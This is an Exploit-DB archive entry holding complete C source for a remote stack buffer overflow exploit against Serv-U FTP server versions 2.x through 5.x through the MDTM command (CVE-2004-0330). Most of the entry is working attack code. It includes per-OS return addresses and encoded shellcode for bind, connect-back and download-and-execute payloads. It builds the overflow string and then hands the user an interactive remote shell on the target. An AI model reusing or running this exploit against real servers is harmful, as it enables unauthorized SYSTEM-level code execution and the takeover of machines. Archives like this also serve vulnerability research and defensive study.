标题: RhinoSoft Serv-U FTPd Server 3/4/5 - MDTM Command Time Argument Buffer Overflow (4) EDB-ID: 23763 CVE: 2004-0330 类型: REMOTE 平台: WINDOWS 发布日期: 2004-02-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9751/info
   
Serv-U FTP Server has been reported prone to a remote stack based buffer overflow vulnerability when handling time zone arguments passed to the MDTM FTP command.
   
The problem exists due to insufficient bounds checking. Ultimately an attacker may leverage this issue to have arbitrary instructions executed in the context of the SYSTEM user.

/*
*-----------------------------------------------------------------------
*
* Servu2.c - Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command
* Remote stack buffer overflow exploit
*
* Copyright (C) 2004 HUC All Rights Reserved.
*
* Author   : lion
*          : lion@cnhonker.net
*          : http://www.cnhonker.com
* Date     : 2004-01-07
* Update   : 2004-02-24 Who report this bug to Rhino??? Released v5.0.0.4 patched this bug.
*          : 2004-02-17 v7.0 Add Download url file and exec shellcode.
*          : 2004-02-04 v6.1 Modified to work with UNIX.
*          : 2004-02-01 v6.0 Change decode and target, change 'jmp(call) ebx' addr to 'pop,pop,ret' addr, can attack winXP and win2003 now.
*          : 2004-01-31 v5.0 Add msvcrt.dll jmp ebx addr, can use on CN/TW/EN/KR/other win2k SP4 if msvcrt.dll not changed.
*          : 2004-01-26 v4.2 Change attack target, 2.x to '>= 2.5i' and '<= 2.5h'.
*          : 2004-01-22 v4.1 Change connectback shellcode in one, change bind shellcode to rebind shellcode.
*          : 2004-01-13 v4.0 Can attack Serv-U 2.x.
*          : 2004-01-11 v3.1 Add "PORT" command, can penetrate through the firewall. (shport > 1024)
*          : 2004-01-09 v3.0 Put shellcode in file parameter, can attack Serv-U 4.1.0.12
*          : 2004-01-08 v2.0 Add connectback shellcode.
*          : 2004-01-07 v1.0 Can attack Serv-U v3.0.0.16 ~ v4.1.0.11
* Tested   : Windows 2000 Server EN/CN
*          :     + Serv-U v3.0.0.16 ~ v5.0.0.3
*          :     + Serv-U v2.5b, v2.5e, v2.5h, v2.5i, v2.5k
*          : Windows XP EN/CN
*          :     + Serv-U v4.x
* Notice   : *** Bug find by bkbll (bkbll@cnhonker.net) 2004-01-07 ***
*          : *** You need a valid account. include anonymous!!! ***
*          : *** This is a Public Version! ***
* Complie  :On Windows
*          :     cl Servu2.c
*          :On UNIX
*          :     gcc -o Servu2 Servu2.c -DUNIX
* Usage       :e:\>Servu2
*          :Serv-U FTPD 2.x/3.x/4.x/5.x remote overflow exploit V7.0 (2004-01-07)
*          :Bug find by bkbll (bkbll@cnhonker.net), Code by lion (lion@cnhonker.net)
*          :Welcome to HUC website http://www.cnhonker.com
*          :Usage:  Servu2  -i <ip> [Options]
*          :                -t      Show All Target Type.
*          :
*          :[Options:]
*          :        -i      Target IP                     Required
*          :        -t      Target Type                   Default: 0
*          :        -u      FTP Username                  Default: ftp
*          :        -p      FTP Password                  Default: ftp@ftp.com
*          :        -f      Port of the FTP Server        Default: 21
*          :        -s      Port of the Shell             Default: 53
*          :        -c      Connect back IP               For connectback shellcode
*          :        -d      Download the URL and Exec     Start with 'http://' or 'ftp://'
*------------------------------------------------------------------------
*/

#ifndef UNIX
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32")
#else
#define uint32_t DWORD
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>

#define closesocket(val) close(val)
#define SOCKET unsigned int
#define SOCKADDR_IN struct sockaddr_in
#define BOOL unsigned int
#define TRUE 1
#define FALSE 0
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define USHORT unsigned int
#define Sleep usleep
#define __leave goto exit_try
#define _snprintf snprintf
typedef struct sockaddr* LPSOCKADDR;
#endif


#ifdef UNIX
int GetLastError()
{
    return errno;
}

int WSAGetLastError()
{
    return errno;
}
#endif

#define MAX_LEN            2048
#define    SEH_OFFSET         48-1
#define JMP_OVER        "\xeb\x06\xeb\x06"
#define    VERSION            "7.0"

// for rebind shellcode
#define BIND_OFFSET        113

// for connectback shellcode
#define PORT_OFFSET        95
#define IP_OFFSET        88

// default parameter
#define SHELLPORT        53
#define FTPPORT         21
#define DEFTYPE         0
#define DEFUSER            "ftp"
#define DEFPASS            "ftp@ftp.com"

// for Serv-U 2.x
#define READ_ADDR        "\x01\x01\xfd\x7f"
#define READ_OFFSET        5+14+12

struct
{
        DWORD   dwJMP;
        char    *szDescription;
}targets[] =
{
        {0x7801D07B,"Serv-U 3.x/4.x/5.x  ALL   2K         SP3/SP4"},    //msvcrt.dll pop,pop,ret addr
//      {0x78010394,"Serv-U 3.x/4.x/5.x  ALL   2K         SP4"},                //msvcrt.dll pop,pop,ret addr
        {0x77c22ca7,"Serv-U 3.x/4.x/5.x  ALL   XP         SP1"},                //msvcrt.dll pop,pop,ret addr

//      {0x7FFA1CB5,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},                //pop,pop,ret addr for all CN win2000,winxp,win2003
        {0x7ffa1571,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},                //pop,pop,ret addr for all CN win2000,winxp,win2003
        {0x7ffa1c1b,"Serv-U 3.x/4.x/5.x  EN    2K/XP/2K3  ALL"},                //pop,pop,ret addr for all EN win2000,winxp,win2003
        {0x7ffae617,"Serv-U 3.x/4.x/5.x  TW    2K/XP/2K3  ALL"},                //pop,pop,ret addr for all TW win2000,winxp,win2003
//      {0x7ffa2186,"Serv-U 3.x/4.x/5.x  TW    2K         ALL"},                //jmp ebx addr for all TW win2000
        {0x7ffa4a1b,"Serv-U 3.x/4.x/5.x  KR    2K         ALL"},                //jmp ebx addr for all KR win2000

        {0x7ffa4512,"Serv-U 2.x >= 2.5i  CN    2K/XP/2K3  ALL"},                //jmp esp addr for all CN win2000,winxp,win2003
        {0x7ffa4512,"Serv-U 2.x <= 2.5h  CN    2K/XP/2K3  ALL"},                //jmp esp addr for all CN win2000,winxp,win2003
        {0x7ffa24ce,"Serv-U 2.x >= 2.5i  TW    2K/XP/2K3  ALL"},                //jmp esp addr for all TW win2000,winxp,win2003
        {0x7ffa24ce,"Serv-U 2.x <= 2.5h  TW    2K/XP/2K3  ALL"},                //jmp esp addr for all TW win2000,winxp,win2003

        {0x7ffa82a4,"Serv-U 2.x >= 2.5i  KR    2K/XP/2K3  ALL"},                //call esp addr for all KR win2000,winxp,win2003
        {0x7ffa82a4,"Serv-U 2.x <= 2.5h  KR    2K/XP/2K3  ALL"},                //call esp addr for all KR win2000,winxp,win2003
        {0x778e71a3,"Serv-U 2.x >= 2.5i  EN    2K         SP4"},                //setupapi.dll jmp esp addr
        {0x778e71a3,"Serv-U 2.x <= 2.5h  EN    2K         SP4"},                //setupapi.dll jmp esp addr

//      {0x7802ba77,"Serv-U test"},
},v;


unsigned char    *szSend[4];
unsigned char    szCommand[MAX_LEN];

// 28 bytes decode by lion for overwrite eip, don't change this.
unsigned char decode[]=
"\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
"\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7\xFF\xD3";

// 31 bytes decode by lion for overwrite SEH, don't change this.
unsigned char decode2[]=
"\x5E\x5F\x5B\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43"
"\x39\x3B\x75\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7\xFF\xD3";


// Shellcode start sign, use for decode, don't change this.
unsigned char sc_start[]=
"lion";

// Shellcode end sign, use for decode, don't change this.
unsigned char sc_end[]=
"li0n";

// 344 bytes rebind shellcode by lion for Serv-U (xor with 0x99)
unsigned char sc[]=
"\x70\xBB\x98\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x5B\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9E\xC0\x71\x30\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xF3\x98"
"\xF3\x9B\x66\xCF\x8D\x12\x41\x5E\x9E\x98\x99\x99\x99\xF3\x9D\x14"
"\x8E\xCB\xF3\x9D\xF1\x66\x66\x99\x99\xCA\x66\xCF\x81\x5E\x9E\x9B"
"\x99\x99\xAC\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCF\x85\xF3\x98\xCA"
"\x66\xCF\xB9\xC9\xC9\xCA\x66\xCF\xBD\x12\x41\xAA\x59\xF1\xFA\xF4"
"\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x12\x65\xF3\x8D\xC0\x10\x9D\x16"
"\x7B\x62\x5F\xDE\x89\xDD\x67\xDE\xA5\x67\xDE\xA4\x10\xC6\xD1\x10"
"\xC6\xD5\x10\xC6\xC9\x14\xDD\xBD\x89\xCE\xC9\xC8\xC8\xC8\xF3\x98"
"\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66"
"\xCF\x91\x72\x9E\x09\x09\x09\x09\x09\x09\x09\xCA\x66\xCF\xB1\x66"
"\xCF\x95\xC8\xCF\x12\xEC\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF\x12\xEF"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC7"
"\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x40\x67\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\xE7\x41\x7B\xEA\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x6B\xCC\x59\x3D\x83\xE9\x5E\x3D\x34\xB7\x70"
"\x7C\xD0\x1F\xD0\x7E\xE0\x5F\xE0";

// 304 bytes connectback shellcode by lion for Serv-U (xor with 0x99)
unsigned char cbsc[]=
"\x70\x9C\x98\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x05\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1A\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xF3\x98"
"\xF3\x9B\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x99"
"\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD2\xAA\x59"
"\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x12\x65\xF3\x89\xC0"
"\x10\x9D\x16\x7B\x62\x5F\xDE\x89\xDD\x67\xDE\xA5\x67\xDE\xA4\x10"
"\xC6\xD1\x10\xC6\xD5\x10\xC6\xC9\x14\xDD\xBD\x89\xCE\xC9\xC8\xC8"
"\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66"
"\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xEC"
"\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF\x12\xEF\xB9\x9A\x6C\x72\x9E\x09"
"\x09\x09\x09\x09\x09\x09\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96"
"\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86"
"\xEC\x7E\xC7\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A"
"\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x6F\x67\x66\x66\x17"
"\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C\x57\xE7\x41\x7B\xEA\x52"
"\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0\x99";

// 194 bytes download url file and exec shellcode by lion (xor with 0x99)
// Tested on Serv-U 3.x/4.x/5.x
unsigned char dusc[]=
"\x70\x3D\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\xDD\x99\x99\x99"
"\x7B\x60\xF1\xF6\xF7\x99\x99\xF1\xEC\xEB\xF5\xF4\xCD\x66\x8F\x12"
"\x71\x71\xB7\x99\x99\x99\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCF"
"\x9D\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99"
"\xAA\x59\xC9\xC9\xCA\xCE\xC9\x66\xCF\x89\x12\x45\xC9\xCA\x66\xCF"
"\x91\x66\xCF\x95\xC8\xCF\x12\xEC\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF"
"\x12\xEF\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27"
"\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC"
"\x7E\xC7\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A\x44"
"\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\xCE\x66\x66\x66\x17\xD7"
"\x97\x75\x58\xE0\x7C\x21\x01\x67\x13\x97\xE7\x41\x7B\xEA\xAF\x83"
"\xB6\xE9";

// exec file url addr for download url file and exec shellcode
unsigned char downloadurl[255]= "";


void showtype()
{
    int i;
//    usage(p);
    printf( "[Type]:\n");
    for(i=0;i<sizeof(targets)/sizeof(v);i++)
    {
        printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
    }
}

void usage(char *p)
{
    printf( "Usage:\t%s\t-i <ip> [Options]\n"
        "\t\t-t\tShow All Target Type.\n\n"
        "[Options:]\n"
        "\t-i\tTarget IP                     Required\n"
        "\t-t\tTarget Type                   Default: %d\n"
        "\t-u\tFTP Username                  Default: %s\n"
        "\t-p\tFTP Password                  Default: %s\n"
        "\t-f\tPort of the FTP Server        Default: %d\n"
        "\t-s\tPort of the Shell             Default: %d\n"
        "\t-c\tConnect back IP               For connectback shellcode\n"
        "\t-d\tDownload the URL and Exec     Start with 'http://' or 'ftp://'\n\n"
        , p, DEFTYPE, DEFUSER, DEFPASS, FTPPORT, SHELLPORT);    

    //showtype();
}

/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
    int     l;
    char    buf[512];
    struct    timeval time;
    unsigned long    ul[2];

    time.tv_sec = 1;
    time.tv_usec = 0;

    while (1)
    {
        ul[0] = 1;
        ul[1] = sock;

        l = select (0, (fd_set *)&ul, NULL, NULL, &time);
        if(l == 1)
        {
            l = recv (sock, buf, sizeof (buf), 0);
            if (l <= 0)
            {
                printf ("[-] Connection closed.\n");
                return;
            }
            l = write (1, buf, l);
            if (l <= 0)
            {
                printf ("[-] Connection closed.\n");
                return;
            }
        }
        else
        {
            l = read (0, buf, sizeof (buf));
            if (l <= 0)
            {
                printf("[-] Connection closed.\n");
                return;
            }
            l = send(sock, buf, l, 0);
            if (l <= 0)
            {
                printf("[-] Connection closed.\n");
                return;
            }
        }
    }
}

int main(int argc, char **argv)
{
    struct    sockaddr_in sa, server, client;
#ifndef UNIX
    WSADATA    wsd;
#endif
    SOCKET    s, s2, s3;
    int    iErr, ret, len;
    char    szRecvBuff[MAX_LEN];
    int    i,j;
    int    iType =DEFTYPE, iPort=FTPPORT;
    char    *ip=NULL, *pUser=DEFUSER, *pPass=DEFPASS, *cbHost=NULL, *url;
    char    user[128], pass[128];
    BOOL    bCb=FALSE,bUrl=FALSE, bLocal=TRUE, b2x=FALSE;
    unsigned short    shport=SHELLPORT, shport2=0;
    unsigned long    cbip;
    unsigned int    timeout=5000, Reuse;
    char    penetrate[255],cbHost2[20];
    
    printf( "Serv-U FTPD 2.x/3.x/4.x/5.x remote overflow exploit V%s (2004-01-07)\r\n"
        "Bug find by bkbll (bkbll@cnhonker.net), Code by lion (lion@cnhonker.net)\r\n"
        "Welcome to HUC website http://www.cnhonker.com\r\n\n"
             , VERSION);

    if(argc < 2)
    {
        usage(argv[0]);
        return 1;
    }
    else if(argc == 2 && argv[1][1] == 't')
    {
        showtype();
        return 1;
    }

    for(i=1;i<argc;i+=2)
    {
        if(strlen(argv[i]) != 2)
        {
            usage(argv[0]);
            return -1;
        }
        // check parameter
        if(i == argc-1)
        {
            usage(argv[0]);
            return -1;
        }
        switch(argv[i][1])
        {
            case 'i':
                ip=argv[i+1];
                break;
            case 't':
                iType = atoi(argv[i+1]);
                break;
            case 'f':
                iPort=atoi(argv[i+1]);
                break;
            case 'p':
                pPass = argv[i+1];
                break;
            case 'u':
                pUser=argv[i+1];
                break;
            case 's':
                shport=atoi(argv[i+1]);
                break;
            case 'c':
                cbHost=argv[i+1];
                bCb=TRUE;
                break;
            case 'd':
                url = argv[i+1];
                bUrl=TRUE;
                break;
                
        }
    }

    if((!ip) || (!user) || (!pass))
    {
        usage(argv[0]);
        printf("[-] Invalid parameter.\n");
        return -1;
    }

    if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
    {
        usage(argv[0]);
        printf("[-] Invalid type.\n");
        return -1;
    }

    if(iPort <1 || iPort >65535 || shport <1 || shport > 65535)
    {
        usage(argv[0]);
        printf("[-] Invalid port.\n");
        return -1;
    }

    if(bUrl)
    {
        if( (!strstr(url, "http://") &&  !strstr(url, "ftp://")) || strlen(url) < 10 || strlen(url) > 255)
        {
            usage(argv[0]);
            printf("[-] Invalid url. Must start with 'http://','ftp://' and <255 bytes.\n");
            return -1;                
        }
    }
    
    if(strstr(targets[iType].szDescription, "2.x"))
    {
        b2x = TRUE;
        printf("[*] Attack Target is Serv-U 2.x.\r\n");
    }
    else
    {
        printf("[*] Attack Target is Serv-U 3.x/4.x/5.x.\r\n");
    }
    
    _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
    user[sizeof(user)-1]='\0';
    _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
    pass[sizeof(pass)-1]='\0';
    szSend[0] = user;    //user
    szSend[1] = pass;    //pass    
    szSend[2] = penetrate;    //pentrate
    szSend[3] = szCommand;    //shellcode
    
    // Penetrate through the firewall.
    if(bCb && shport > 1024)
    {
        strncpy(cbHost2, cbHost, 20);
        for(i=0;i<strlen(cbHost); i++)
        {
            if(cbHost[i] == '.')
                cbHost2[i] = ',';
        }
        
        sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256);

        //printf("%s", penetrate);
    }
    else
    {
        sprintf(penetrate,"TYPE I\r\n");        
    }

    // fill the "MDTM" command
    strcpy(szCommand, "MDTM 20031111111111+");

    // fill the egg
    for(i=0; i<SEH_OFFSET; i++)
    {
        strcat(szCommand, "\x90");
    }

    // ret addr
    if(b2x)
    {

        // fill the egg
        if(strstr(targets[iType].szDescription, "<"))
        {
            j = 8;
        }
        else
        {
            j = 4;
        }
        for(i=0; i<j; i++)
        {
            strcat(szCommand, "\x90");
        }
        
        memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
        
        memcpy(&szCommand[READ_OFFSET], &READ_ADDR, 4);
        
        // fill the decode
        strcat(szCommand, decode);
    }
    else
    {
        
        // fill the seh
        for(i=0; i<0x10*1; i+=8)
        //for(i=0; i<1; i++)
        {
            memcpy(&szCommand[strlen(szCommand)], &JMP_OVER, 4);
            memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
        }
    
        // fill the decode
        strcat(szCommand, decode2);    
    }

    // fill the space
    strcat(szCommand, " ");

    // fill the egg
    for(i=0; i<0x10; i++)
    {
        strcat(szCommand, "\x90");
    }

    // fill the shellcode start sign
    strcat(szCommand, sc_start);

    // fill the shellcode
       if(bCb)
    {
        // connectback shellcode
        shport2 = htons(shport)^(u_short)0x9999;
        cbip = inet_addr(cbHost)^0x99999999;
        memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
        memcpy(&cbsc[IP_OFFSET], &cbip, 4);
        strcat(szCommand, cbsc);        
    }
    else
    if(bUrl)
    {
        memset(downloadurl, 0, sizeof(downloadurl));

        // download url exec shellcode
        for(i=0;i<strlen(url);i++)
        {
            downloadurl[i] = url[i] ^ 0x99;
        }
        
        downloadurl[i] ^= 0x99;
        strcat(szCommand, dusc);
        strcat(szCommand, downloadurl);        
    }
       else
    {
        // rebind shellcode
        shport2 = htons(shport)^(u_short)0x9999;
        memcpy(&sc[BIND_OFFSET], &shport2, 2);
        strcat(szCommand, sc);
    }

    // fill the shellcode end sign
    strcat(szCommand, sc_end);

    // send end
    strcat(szCommand, "\r\n");

    if(strlen(szCommand) >= sizeof(szCommand))
    {
        printf("[-] stack buffer overflow.\n");
        return -1;
    }
    
    //printf("send size %d:%s", strlen(szCommand), szCommand);
    //printf("buffsize %d\r\n", strlen(szCommand)-5-2);
    
#ifndef UNIX
    __try
#endif
    {

#ifndef UNIX
        if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
        {
            printf("[-] WSAStartup error:%d\n", WSAGetLastError());
            __leave;
        }
#endif
        s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(s == INVALID_SOCKET)
        {
            printf("[-] Create socket failed:%d",GetLastError());
            __leave;
        }

        sa.sin_family=AF_INET;
        sa.sin_port=htons((USHORT)iPort);

#ifndef UNIX
        sa.sin_addr.S_un.S_addr=inet_addr(ip);
#else
        sa.sin_addr.s_addr=inet_addr(ip);
#endif
        setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
        iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
        if(iErr == SOCKET_ERROR)
        {
            printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
            __leave;
        }
        printf("[+] Connect to %s:%d success.\n", ip, iPort);
        
        if(bCb)
        {
            Sleep(500);
            s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

            server.sin_family=AF_INET;

#ifndef UNIX
            server.sin_addr.S_un.S_addr=inet_addr(cbHost);
            //server.sin_addr.s_addr=INADDR_ANY;
#else
            server.sin_addr.s_addr=inet_addr(cbHost);
#endif            
            
            server.sin_port=htons((unsigned short)shport);

            setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));

            Reuse = 1;
            setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));

            if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
            {
                printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
                printf("[-] You must run nc get the shell.\n");
                bLocal = FALSE;
                //closesocket(s2);
                //__leave;
            }
            else
            {    
                printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
                listen(s2, 1);
            }
        }
        
        for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
        {
            memset(szRecvBuff, 0, sizeof(szRecvBuff));
            iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
            if(iErr == SOCKET_ERROR)
            {
                printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
                __leave;
            }
            printf("[+] Recv: %s", szRecvBuff);
            
            if(szRecvBuff[0] == '5')
            {
                printf("[-] Server return a error Message.\r\n");
                __leave;
            }

            iErr = send(s, szSend[i], strlen(szSend[i]),0);
            if(iErr == SOCKET_ERROR)
            {
                printf("[-] Send buffer error:%d.\n", WSAGetLastError());
                __leave;
            }

            if(i==sizeof(szSend)/sizeof(szSend[0])-1)
                printf("[+] Send shellcode %d bytes.\n", iErr);
            else
                printf("[+] Send: %s", szSend[i]);
        }

        if(bUrl)
        {
            printf("[+] Target Download the file and exec: %s\r\n", url);
            printf("[+] Success? Maybe!\r\n");
        }
        else
        {
            printf("[+] If you don't have a shell it didn't work.\n");

            if(bCb)
            {
                if(bLocal)
                {
                    printf("[+] Wait for shell...\n");
            
                    len = sizeof(client);
                    s3 = accept(s2, (struct sockaddr*)&client, &len);
                    if(s3 != INVALID_SOCKET)
                    {
                        printf("[+] Exploit success! Good luck! :)\n");
                        printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
                        shell(s3);
                    }
                }    
            }
            else
            {
                printf("[+] Connect to shell...\n");
            
                Sleep(1000);
                s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
                server.sin_family = AF_INET;
                server.sin_port = htons(shport);
                server.sin_addr.s_addr=inet_addr(ip);

                ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
                if(ret!=0)
                {
                    printf("[-] Exploit seem failed.\n");
                    __leave;
                }
            
                printf("[+] Exploit success! Good luck! :)\n");
                printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
                shell(s2);
            }
        }    
    }

#ifdef UNIX
exit_try:
#endif

#ifndef UNIX
    __finally
#endif
    {
        if(s != INVALID_SOCKET) closesocket(s);
        if(s2 != INVALID_SOCKET) closesocket(s2);
        if(s3 != INVALID_SOCKET) closesocket(s3);
        
#ifndef UNIX
        WSACleanup();
#endif
    }

    return 0;
} URL: https://www.exploit-db.com/exploits/23763